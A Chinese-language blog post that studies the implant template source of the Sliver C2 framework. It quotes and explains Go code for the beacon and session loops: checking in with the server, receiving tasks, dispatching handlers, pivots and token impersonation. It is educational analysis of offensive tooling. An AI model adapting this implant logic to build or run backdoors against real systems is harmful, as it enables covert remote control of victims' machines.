Sliver框架代码学习(二)

为学日益,为道日损.

Posted by taomujian on June 30, 2024

简述

implant/sliver/sliver.go这个文件就是生成木马的模版文件,生成的木马会根据配置和这个模版文件生成所需的木马,下面来看下这个模版文件的代码.

条件编译

// {{if .Config.IsService}}
"golang.org/x/sys/windows/svc"
// {{end}}

在这个文件中可以看到很对类似这样的代码块,这块代码是模版语法中的条件编译,含义是如果 Config.IsService为true,则导入golang.org/x/sys/windows/svc包,否则忽略此导入语句.这样可以在编译时根据配置选择性地编译某些代码.

流程分析

main

执行入口是main函数,首先是根据是否打开deug来决定是否要要把日志保存在日志文件中.

// {{if .Config.Debug}}
log.SetFlags(log.LstdFlags | log.Lshortfile)
debugFilePath := "{{ .Config.DebugFile }}"
if debugFilePath != "" {
  // Open the log file for writing
  file, err := os.OpenFile(debugFilePath, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666)
  if err == nil {
    log.SetOutput(file)
  }
}
// {{else}}
// {{end}}

limits.ExecLimits()是来根据一些条件来判断是否要继续执行还是直接退出,比如根据平台、用户名、hostname等条件.

然后根据配置决定是进行session模式还是进入Beacon模式.

// {{if .Config.IsService}}
svc.Run("", &sliverService{})
// {{else}}

// {{if .Config.IsBeacon}}
beaconStartup()
// {{else}} ------- IsBeacon/IsSession -------
sessionStartup()
// {{end}}

// {{end}} ------- IsService -------

Beacon模式

beaconStartup

这个函数在信标模式下运行.它启动信标循环,处理信标连接并处理错误和重新连接逻辑.

abort := make(chan struct{})
defer func() {
	abort <- struct{}{}
}()

这段代码用来初始化并定义退出信号通道.

beacons := transports.StartBeaconLoop(abort)

transports.StartBeaconLoop函数启动Beacon循环,并返回一个包含Beacon的通道.这个通道会持续接收新的Beacon.

接收到Beacon就要开始进行处理,处理如下:

for beacon := range beacons {
	// {{if .Config.Debug}}
	log.Printf("Next beacon = %v", beacon)
	// {{end}}
	if beacon != nil {
		err := beaconMainLoop(beacon)
		if err != nil {
			connectionErrors++
			if transports.GetMaxConnectionErrors() < connectionErrors {
				return
			}
		}
	}

然后就是获取获取重连间隔时间,休眠指定时间后重新进入循环,尝试接收下一个Beacon并进行处理.

reconnect := transports.GetReconnectInterval()
// {{if .Config.Debug}}
log.Printf("Reconnect sleep: %s", reconnect)
// {{end}}
time.Sleep(reconnect)

beaconMainLoop

这个函数负责处理单个Beacon的生命周期,包括初始化、启动、注册、运行主逻辑和清理.

初始化 Beacon

err := beacon.Init()
if (err != nil) {
    // {{if .Config.Debug}}
    log.Printf("Beacon init error: %s", err)
    // {{end}}
    return err
}

在函数退出时清理beacon

defer func() {
    err := beacon.Cleanup()
    if err != nil {
        // {{if .Config.Debug}}
        log.Printf("[beacon] cleanup failure %s", err)
        // {{end}}
    }
}()

启动Beacon,如果启动失败,在Debug模式下记录错误,增加连接错误计数器.如果连接错误次数超过最大允许次数,返回错误.

err = beacon.Start()
if err != nil {
    // {{if .Config.Debug}}
    log.Printf("Error starting beacon: %s", err)
    // {{end}}
    connectionErrors++
    if transports.GetMaxConnectionErrors() < connectionErrors {
        return err
    }
    return nil
}
connectionErrors = 0

注册 Beacon

// {{if .Config.Debug}}
log.Printf("Registering beacon with server")
// {{end}}

nextCheckin := time.Now().Add(beacon.Duration())
register := registerSliver()
register.ActiveC2 = beacon.ActiveC2
register.ProxyURL = beacon.ProxyURL

beacon.Send(wrapEnvelope(sliverpb.MsgBeaconRegister, &sliverpb.BeaconRegister{
    ID:          InstanceID,
    Interval:    beacon.Interval(),
    Jitter:      beacon.Jitter(),
    Register:    register,
    NextCheckin: int64(beacon.Duration().Seconds()),
}))

time.Sleep(time.Second)
beacon.Close()

计算下次检查时间nextCheckin,创建并初始化register对象.使用beacon.Send()发送Beacon注册信息,暂停1秒后关闭Beacon.

接下来就是进行Beacon主循环,来处理Beacon.

errors := make(chan error)
shortCircuit := make(chan struct{})

for {
    duration := beacon.Duration()
    nextCheckin = time.Now().Add(duration)
    go func() {
        oldInterval := beacon.Interval()
        err := beaconMain(beacon, nextCheckin)
        if err != nil {
            // {{if .Config.Debug}}
            log.Printf("[beacon] main error: %v", nextCheckin)
            // {{end}}
            errors <- err
        } else if oldInterval != beacon.Interval() {
            shortCircuit <- struct{}{}
        }
    }()

    // {{if .Config.Debug}}
    log.Printf("[beacon] sleep until %v", nextCheckin)
    // {{end}}
    select {
    case err := <-errors:
        return err
    case <-time.After(duration):
    case <-shortCircuit:
    }
}
return nil

定义errors和shortCircuit通道,用于错误处理和短路控制.进入主循环,每次计算新的检查时间nextCheckin.启动一个协程调用beaconMain(beacon, nextCheckin).如果beaconMain返回错误,并发送错误到errors通道.如果Beacon的间隔时间改变,发送信号到shortCircuit通道.

使用select语句等待错误、超时或短路信号.如果收到错误,返回错误;如果收到短路信号,重新开始循环.

beaconMain

此函数处理单个Beacon在一个检查周期内的任务,包括启动Beacon、发送检查信息、接收任务、处理任务并发送结果.

启动Beacon

err := beacon.Start()
if err != nil {
	// {{if .Config.Debug}}
	log.Printf("[beacon] start failure %s", err)
	// {{end}}
	return err
}

调用beacon.Start()启动Beacon.

在执行完这个函数后要执行的操作:暂停1秒、关闭beacon

defer func() {
	// {{if .Config.Debug}}
	log.Printf("[beacon] closing ...")
	// {{end}}
	time.Sleep(time.Second)
	beacon.Close()
}()

发送检查信息,使用beacon.Send()发送检查信息,包含Beacon ID和下次检查的时间.

// {{if .Config.Debug}}
log.Printf("[beacon] sending check in ...")
// {{end}}
err = beacon.Send(wrapEnvelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
	ID:          InstanceID,
	NextCheckin: int64(beacon.Duration().Seconds()),
}))
if err != nil {
	// {{if .Config.Debug}}
	log.Printf("[beacon] send failure %s", err)
	// {{end}}
	return err
}

接收任务

// {{if .Config.Debug}}
log.Printf("[beacon] recv task(s) ...")
// {{end}}
envelope, err := beacon.Recv()
if err != nil {
	// {{if .Config.Debug}}
	log.Printf("[beacon] recv failure %s", err)
	// {{end}}
	return err
}
if envelope == nil {
	// {{if .Config.Debug}}
	log.Printf("[beacon] read nil envelope (no tasks)")
	// {{end}}
	return nil
}

使用beacon.Recv()接收任务.如果收到的任务封装envelope为nil,表示没有任务.

解析任务,创建tasks对象,并使用proto.Unmarshal()解析收到的任务数据.

tasks := &sliverpb.BeaconTasks{}
err = proto.Unmarshal(envelope.Data, tasks)
if err != nil {
	// {{if .Config.Debug}}
	log.Printf("[beacon] unmarshal failure %s", err)
	// {{end}}
	return err
}

// {{if .Config.Debug}}
log.Printf("[beacon] received %d task(s) from server", len(tasks.Tasks))
// {{end}}
if len(tasks.Tasks) == 0 {
	return nil
}

分类任务,将任务分类为tasksExtensionRegister和tasksOther,确保扩展任务在普通任务之前处理.

var tasksExtensionRegister []*sliverpb.Envelope
var tasksOther []*sliverpb.Envelope

for _, task := range tasks.Tasks {
	switch task.Type {
	case sliverpb.MsgRegisterExtensionReq:
		tasksExtensionRegister = append(tasksExtensionRegister, task)
	default:
		tasksOther = append(tasksOther, task)
	}
}

处理任务并发送结果,使用beaconHandleTasklist处理tasksExtensionRegister和tasksOther,将结果存储在results 中.使用beacon.Send()发送处理结果.

var results []*sliverpb.Envelope
for _, r := range beaconHandleTasklist(tasksExtensionRegister) {
	results = append(results, r)
}
for _, r := range beaconHandleTasklist(tasksOther) {
	results = append(results, r)
}

err = beacon.Send(wrapEnvelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
	ID:    InstanceID,
	Tasks: results,
}))
if err != nil {
	// {{if .Config.Debug}}
	log.Printf("[beacon] error sending results %s", err)
	// {{end}}
}

beaconHandleTasklist

用于处理传入的一组任务,并返回处理结果.每个任务根据其类型分配给适当的处理程序(handler)来执行.任务的执行是并发进行的,并且函数会等待所有任务完成后再返回结果.

初始化

results := []*sliverpb.Envelope{}
resultsMutex := &sync.Mutex{}
wg := &sync.WaitGroup{}
sysHandlers := handlers.GetSystemHandlers()
specHandlers := handlers.GetKillHandlers()

results:用于存储任务处理的结果.

resultsMutex:用于保护results的并发访问.

sysHandlers和specHandlers:获取系统任务处理程序和特定任务处理程序的映射.

遍历任务列表

for _, task := range tasks {
	// {{if .Config.Debug}}
	log.Printf("[beacon] execute task %d", task.Type)
	// {{end}}
	if handler, ok := sysHandlers[task.Type]; ok {
		wg.Add(1)
		data := task.Data
		taskID := task.ID
		// {{if eq .Config.GOOS "windows" }}
		go func() {
			defer wg.Done()
			handlers.WrapperHandler(handler, data, func(data []byte, err error) {
				resultsMutex.Lock()
				defer resultsMutex.Unlock()
				// {{if .Config.Debug}}
				if err != nil {
					log.Printf("[beacon] handler function returned an error: %s", err)
				}
				log.Printf("[beacon] task completed (id: %d)", taskID)
				// {{end}}
				results = append(results, &sliverpb.Envelope{
					ID:   taskID,
					Data: data,
				})
			})
		}()
		//  {{else}}
		go func() {
			defer wg.Done()
			handler(data, func(data []byte, err error) {
				resultsMutex.Lock()
				defer resultsMutex.Unlock()
				// {{if .Config.Debug}}
				if err != nil {
					log.Printf("[beacon] handler function returned an error: %s", err)
				}
				log.Printf("[beacon] task completed (id: %d)", taskID)
				// {{end}}
				results = append(results, &sliverpb.Envelope{
					ID:   taskID,
					Data: data,
				})
			})
		}()
		// {{end}}
	} else if task.Type == sliverpb.MsgOpenSession {
		go openSessionHandler(task.Data)
		resultsMutex.Lock()
		results = append(results, &sliverpb.Envelope{
			ID:   task.ID,
			Data: []byte{},
		})
		resultsMutex.Unlock()
	} else if handler, ok := specHandlers[task.Type]; ok {
		wg.Add(1)
		handler(task.Data, nil)
	} else {
		resultsMutex.Lock()
		results = append(results, &sliverpb.Envelope{
			ID:                 task.ID,
			UnknownMessageType: true,
		})
		resultsMutex.Unlock()
	}
}

遍历传入的任务列表tasks,对每个任务,根据任务类型查找相应的处理程序并执行.

任务类型在sysHandlers中的类型,则开启协程并发执行该处理程序.

任务类型为sliverpb.MsgOpenSession,则用openSessionHandler来处理任务.

任务类型在specHandlers中的类型,则直接处理.

任务类型为其它类型,则将任务标记UnknownMessageType并添加到results.

openSessionHandler

用于处理打开会话的任务并解析任务数据,启动连接循环,并尝试与服务器建立连接.

解析数据,创建一个 sliverpb.OpenSession 对象,并使用 proto.Unmarshal 解析传入的数据

openSession := &sliverpb.OpenSession{}
err := proto.Unmarshal(data, openSession)
if err != nil {
	// {{if .Config.Debug}}
	log.Printf("[beacon] failed to parse open session msg: %s", err)
	// {{end}}
}

处理延迟,如果openSession中指定了延迟时间,则等待相应的时间.

if openSession.Delay != 0 {
	// {{if .Config.Debug}}
	log.Printf("[beacon] delay %s", time.Duration(openSession.Delay))
	// {{end}}
	time.Sleep(time.Duration(openSession.Delay))
}

开启一个协程进行尝试连接

go func() {
	abort := make(chan struct{})
	connections := transports.StartConnectionLoop(abort, openSession.C2S...)
	defer func() { abort <- struct{}{} }()
	connectionAttempts := 0
	for connection := range connections {
		connectionAttempts++
		if connection != nil {
			err := sessionMainLoop(connection)
			if err == ErrTerminate {
				connection.Cleanup()
				return
			}
			if err == nil {
				break
			}
			// {{if .Config.Debug}}
			log.Printf("[beacon] failed to connect to server: %s", err)
			// {{end}}
		}
		if len(openSession.C2S) <= connectionAttempts {
			// {{if .Config.Debug}}
			log.Printf("[beacon] failed to connect to server, max connection attempts reached")
			// {{end}}
			break
		}
	}
}()

在一个新的协程中启动连接尝试,确保不会阻塞主线程.

创建一个abort通道,并启动连接循环transports.StartConnectionLoop.使用defer确保在函数退出时向abort通道发送信号.初始化连接尝试计数connectionAttempts.

遍历从connections通道接收到的连接对象:

1
2
3
4
5
6
7
8
9
10
11
增加尝试连接计数器.

如果连接对象不为空,尝试通过 sessionMainLoop 进行会话处理.

如果sessionMainLoop返回ErrTerminate,清理连接并退出.

如果没有错误,退出循环.

如果有错误(在调试模式下记录错误日志).

如果连接尝试次数超过openSession.C2S中的连接数,退出循环.

sessionMainLoop

用于与服务器的交互,包括处理从服务器接收的消息,并根据消息类型调用进行对应的处理.

检查传入的connection是否为空,如果为空,并返回nil.

if connection == nil {
	// {{if .Config.Debug}}
	log.Printf("[session] nil connection!")
	// {{end}}
	return nil
}

尝试启动连接,如果失败,返回错误.

err := connection.Start()
if err != nil {
	// {{if .Config.Debug}}
	log.Printf("[session] failed to establish connection: %s", err)
	// {{end}}
	return err
}

启动所有监听器,并确保在函数退出时停止监听器和连接.

pivots.RestartAllListeners(connection.Send)
defer pivots.StopAllListeners()
defer connection.Stop()

重置连接错误计数器,构造注册信息并发送到服务器.

connectionErrors = 0
register := registerSliver()
register.ActiveC2 = connection.URL()
register.ProxyURL = connection.ProxyURL()
connection.Send <- wrapEnvelope(sliverpb.MsgRegister, register) // Send registration information

获取不同类型消息的处理程序

pivotHandlers := handlers.GetPivotHandlers()
tunHandlers := handlers.GetTunnelHandlers()
sysHandlers := handlers.GetSystemHandlers()
specialHandlers := handlers.GetKillHandlers()
rportfwdHandlers := handlers.GetRportFwdHandlers()

处理从服务器接收到的消息,根据消息类型调用相应的处理程序.如果消息类型为特殊处理程序,返回ErrTerminate.如果消息类型为其他处理程序,启动相应的处理程序,并将结果发送回服务器.

for envelope := range connection.Recv {
	envelope := envelope
	if _, ok := specialHandlers[envelope.Type]; ok {
		// {{if .Config.Debug}}
		log.Printf("[recv] specialHandler %d", envelope.Type)
		// {{end}}
		return ErrTerminate
	} else if handler, ok := pivotHandlers[envelope.Type]; ok {
		// {{if .Config.Debug}}
		log.Printf("[recv] pivotHandler with type %d", envelope.Type)
		// {{end}}
		go handler(envelope, connection)
	} else if handler, ok := rportfwdHandlers[envelope.Type]; ok {
		// {{if .Config.Debug}}
		log.Printf("[recv] rportfwdHandler with type %d", envelope.Type)
		// {{end}}
		go handler(envelope, connection)
	} else if handler, ok := sysHandlers[envelope.Type]; ok {
		// Beware, here be dragons.
		// This is required for the specific case of token impersonation:
		// Since goroutines don't always execute in the same thread, but ImpersonateLoggedOnUser
		// only applies the token to the calling thread, we need to call it before every task.
		// It's fucking gross to do that here, but I could not come with a better solution.

		// {{if .Config.Debug}}
		log.Printf("[recv] sysHandler %d", envelope.Type)
		// {{end}}

		// {{if eq .Config.GOOS "windows" }}
		go handlers.WrapperHandler(handler, envelope.Data, func(data []byte, err error) {
			// {{if .Config.Debug}}
			if err != nil {
				log.Printf("[session] handler function returned an error: %s", err)
			}
			// {{end}}
			connection.Send <- &sliverpb.Envelope{
				ID:   envelope.ID,
				Data: data,
			}
		})
		// {{else}}
		go handler(envelope.Data, func(data []byte, err error) {
			// {{if .Config.Debug}}
			if err != nil {
				log.Printf("[session] handler function returned an error: %s", err)
			}
			// {{end}}
			connection.Send <- &sliverpb.Envelope{
				ID:   envelope.ID,
				Data: data,
			}
		})
		// {{end}}
	} else if handler, ok := tunHandlers[envelope.Type]; ok {
		// {{if .Config.Debug}}
		log.Printf("[recv] tunHandler %d", envelope.Type)
		// {{end}}
		go handler(envelope, connection)
	} else if envelope.Type == sliverpb.MsgCloseSession {
		return nil
	} else {
		// {{if .Config.Debug}}
		log.Printf("[recv] unknown envelope type %d", envelope.Type)
		// {{end}}
		connection.Send <- &sliverpb.Envelope{
			ID:                 envelope.ID,
			Data:               nil,
			UnknownMessageType: true,
		}
	}
}

wrapEnvelope

用于创建一个包含特定类型和数据的信封(Envelope)对象.该函数的主要作用是将给定的 Protobuf消息序列化成字节数组,并将其封装到一个信封对象中.

session模式

此函数用于启动会话模式.

初始化一个abort通道,用于在函数结束时发送信号以终止正在进行的操作,使用defer语句确保在函数退出时发送终止信号.

abort := make(chan struct{})
defer func() {
    abort <- struct{}{}
}()

调用transports.StartConnectionLoop(abort)函数启动一个连接循环,该函数返回一个通道connections,用于接收新建立的连接.

connections := transports.StartConnectionLoop(abort)

从connections通道接收连接对象connection.对每个非空的连接,调用sessionMainLoop(connection)函数处理会话的主要逻辑.如果sessionMainLoop返回非空错误,并且错误为ErrTerminate,则清理连接并返回.否则,增加connectionErrors 计数,并检查是否达到最大连接错误数限制,如果是则退出函数.

for connection := range connections {
    if connection != nil {
        err := sessionMainLoop(connection)
        if err != nil {
            if err == ErrTerminate {
                connection.Cleanup()
                return
            }
            connectionErrors++
            if transports.GetMaxConnectionErrors() < connectionErrors {
                return
            }
        }
    }

session模式和Beacon模式相比是直接进行sessionMainLoop来处理每个连接,Beacon模式则进行一些其他的处理,比如初始化Beacon、启动Beacon、注册Beacon、关闭Beacon等操作.

session模式剩下的流程和Beacon模式 sessionMainLoop之后的流程是一样的,不再进行赘述.

总结

Beacon模式和session都可以选择,Beacon模式额外处理了一些Beaconde的初始化、启动、注册、运行主逻辑和清理等操作.